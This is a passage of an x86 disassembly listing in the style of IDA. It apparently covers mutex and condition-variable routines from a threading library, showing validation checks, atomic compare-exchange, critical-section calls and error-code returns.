		add	esp, 4


loc_4319D3:				; CODE XREF: sub_431990+27j
					; sub_431990+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_4319F8:				; CODE XREF: sub_431990+20j
		test	esi, esi
		jnz	short loc_4319A5
		pop	edi


loc_4319FD:				; CODE XREF: sub_431990+8j
					; sub_431990+12j
		pop	esi
		pop	ebx
		retn
sub_431990	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E398
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431A20	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7BC918h], edx
		ja	short loc_4319CE
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_431A50+1


loc_431A50:				; CODE XREF: ___:00431A4Ej
		jz	short loc_431A75
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_431A62
		dec	eax
		jnz	short loc_431A65
		or	esi, 0FFFFFFFFh
		jmp	short loc_431A65
; ---------------------------------------------------------------------------


loc_431A62:				; CODE XREF: ___:00431A58j
		mov	esi, [edi+14h]


loc_431A65:				; CODE XREF: ___:00431A5Bj
					; ___:00431A60j
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_431A75:				; CODE XREF: ___:loc_431A50j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 8052EBE8h, 90909077h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431AB0	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431ACF


loc_431AC2:				; CODE XREF: ___:00431ACDj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431AC2


loc_431ACF:				; CODE XREF: ___:00431AC0j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431AF0:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B10	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431B10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B50	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27B0D50h
		push	eax
		nop
		call	near ptr 278089Fh
		test	eax, eax
		jz	short loc_431B92
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431B7C:				; CODE XREF: sub_431B50+33j
		test	eax, edx
		jz	short loc_431B81
		inc	ecx


loc_431B81:				; CODE XREF: sub_431B50+2Ej
		shl	eax, 1
		jnz	short loc_431B7C
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B92:				; CODE XREF: sub_431B50+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431B50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BC0	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431BF4
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF4:				; CODE XREF: sub_431BC0+17j
		test	eax, eax
		jnz	short loc_431BFD
		mov	esi, 16h


loc_431BFD:				; CODE XREF: sub_431BC0+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C70	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431C82
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C82:				; CODE XREF: sub_431C70+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431CA2
		cmp	dword ptr [eax], 0
		jz	short loc_431CA2
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA2:				; CODE XREF: sub_431C70+1Aj
					; sub_431C70+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431CC6
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CC6:				; CODE XREF: sub_431C70+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431D24
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431D1B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431D3C
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431D1B:				; CODE XREF: sub_431C70+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431D24:				; CODE XREF: sub_431C70+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431D3C:				; CODE XREF: sub_431C70+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431C70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431DA0:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431EDB
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431EDB
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E97
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431EDB
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431EE0
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431E09
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E09:				; CODE XREF: ___:00431DF7j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431E7D
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431E7D
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431E40
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E40:				; CODE XREF: ___:00431E2Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431EE0
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_431EC3
; ---------------------------------------------------------------------------


loc_431E7D:				; CODE XREF: ___:00431E0Ej
					; ___:00431E18j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431EC3
; ---------------------------------------------------------------------------


loc_431E97:				; CODE XREF: ___:00431DC3j
		push	offset dword_50E940
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431EB3
		mov	dword ptr [eax], 0
		jmp	short loc_431EB8
; ---------------------------------------------------------------------------


loc_431EB3:				; CODE XREF: ___:00431EA9j
		mov	ebx, 10h


loc_431EB8:				; CODE XREF: ___:00431EB1j
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop


loc_431EC3:				; CODE XREF: ___:00431E7Bj
					; ___:00431E95j
		test	ebx, ebx
		jz	short loc_431ECE
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431ECE:				; CODE XREF: ___:00431EC5j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431EE0
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431EDB:				; CODE XREF: ___:00431DB0j
					; ___:00431DBAj ...
		mov	eax, 16h


loc_431EE0:				; CODE XREF: ___:00431DE1j
					; ___:00431E4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431F73
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431F73:				; CODE XREF: ___:00431F62j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FA0:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431FC1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431FC1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431FC1:				; CODE XREF: ___:00431FA9j
					; ___:00431FAFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FE0:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FFD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431FFD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431FFD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431FFD:				; CODE XREF: ___:00431FE6j
					; ___:00431FECj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432020:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43204A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43204A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43203E
		test	eax, eax
		jnz	short loc_43204A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43203E:				; CODE XREF: ___:00432035j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43204A:				; CODE XREF: ___:00432026j
					; ___:0043202Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432060:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43211A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43211A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432094
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432094
		cmp	eax, 10h
		jnz	loc_43211F


loc_432094:				; CODE XREF: ___:0043207Cj
					; ___:00432089j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43211A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43211F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43210D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4320DD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4320DD:				; CODE XREF: ___:004320CCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43210D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43210D:				; CODE XREF: ___:004320BAj
					; ___:004320FCj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43211A:				; CODE XREF: ___:00432069j
					; ___:00432073j ...
		mov	eax, 16h


loc_43211F:				; CODE XREF: ___:0043208Ej
					; ___:004320AAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432170:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43223F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43223F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4321A4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4321A4
		cmp	eax, 10h
		jnz	loc_432244


loc_4321A4:				; CODE XREF: ___:0043218Cj
					; ___:00432199j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43223F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_432244
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_432232
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432202
		cmp	ebx, 274Ch
		jnz	short loc_4321F3
		inc	dword ptr [esi+14h]


loc_4321F3:				; CODE XREF: ___:004321EEj
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432202:				; CODE XREF: ___:004321E6j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432232
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432232:				; CODE XREF: ___:004321D3j
					; ___:00432221j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223F:				; CODE XREF: ___:00432179j
					; ___:00432183j ...
		mov	eax, 16h


loc_432244:				; CODE XREF: ___:0043219Ej
					; ___:004321C3j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432386
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432386
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322C7
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4322C7
		cmp	eax, 10h
		jnz	loc_43238B


loc_4322C7:				; CODE XREF: ___:004322AFj
					; ___:004322BCj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432386
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_43238B
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43230B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43230B:				; CODE XREF: ___:004322F7j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_43237A
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432328
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432328:				; CODE XREF: ___:00432317j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_43237A
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_43234B:				; CODE XREF: ___:00432360j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432362
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_43234B


loc_432362:				; CODE XREF: ___:00432359j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_43237D
		mov	[esi+0Ch], edi


loc_43237A:				; CODE XREF: ___:00432310j
					; ___:0043232Dj
		inc	dword ptr [esi+10h]


loc_43237D:				; CODE XREF: ___:00432375j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432386:				; CODE XREF: ___:0043229Cj
					; ___:004322A6j ...
		mov	eax, 16h


loc_43238B:				; CODE XREF: ___:004322C1j
					; ___:004322E1j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4324F1
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4324F1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432427
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432427
		cmp	eax, 10h
		jnz	loc_4324F6


loc_432427:				; CODE XREF: ___:0043240Fj
					; ___:0043241Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4324F1
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_4324F6
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432471
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432471:				; CODE XREF: ___:0043245Dj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4324E5
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_43248E
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_43248E:				; CODE XREF: ___:0043247Dj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4324E5
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4324B1:				; CODE XREF: ___:004324CBj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_4324CD
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4324B1


loc_4324CD:				; CODE XREF: ___:004324C4j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4324E8
		mov	[esi+0Ch], edi


loc_4324E5:				; CODE XREF: ___:00432476j
					; ___:00432493j
		inc	dword ptr [esi+10h]


loc_4324E8:				; CODE XREF: ___:004324E0j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4324F1:				; CODE XREF: ___:004323FCj
					; ___:00432406j ...
		mov	eax, 16h


loc_4324F6:				; CODE XREF: ___:00432421j
					; ___:00432446j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432550:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_4325D6
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4325D6
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43256C
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43256C:				; CODE XREF: ___:00432564j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_4325D6
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4325B4
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432592
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432592:				; CODE XREF: ___:0043258Cj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_4325A9
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_4325A9:				; CODE XREF: ___:00432599j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_4325CC
; ---------------------------------------------------------------------------


loc_4325B4:				; CODE XREF: ___:0043257Aj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_4325CC:				; CODE XREF: ___:004325B2j
		test	edi, edi
		jz	short loc_4325DB
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325D6:				; CODE XREF: ___:00432559j
					; ___:0043255Fj ...
		mov	eax, 16h


loc_4325DB:				; CODE XREF: ___:004325CEj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432610:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4326CA
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4326CA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432644
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432644
		cmp	eax, 10h
		jnz	loc_4326CF


loc_432644:				; CODE XREF: ___:0043262Cj
					; ___:00432639j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_4326CA
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_4326CF
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4326BD
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43268D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43268D:				; CODE XREF: ___:0043267Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4326BD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4326BD:				; CODE XREF: ___:0043266Aj
					; ___:004326ACj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4326CA:				; CODE XREF: ___:00432619j
					; ___:00432623j ...
		mov	eax, 16h


loc_4326CF:				; CODE XREF: ___:0043263Ej
					; ___:0043265Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432720:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
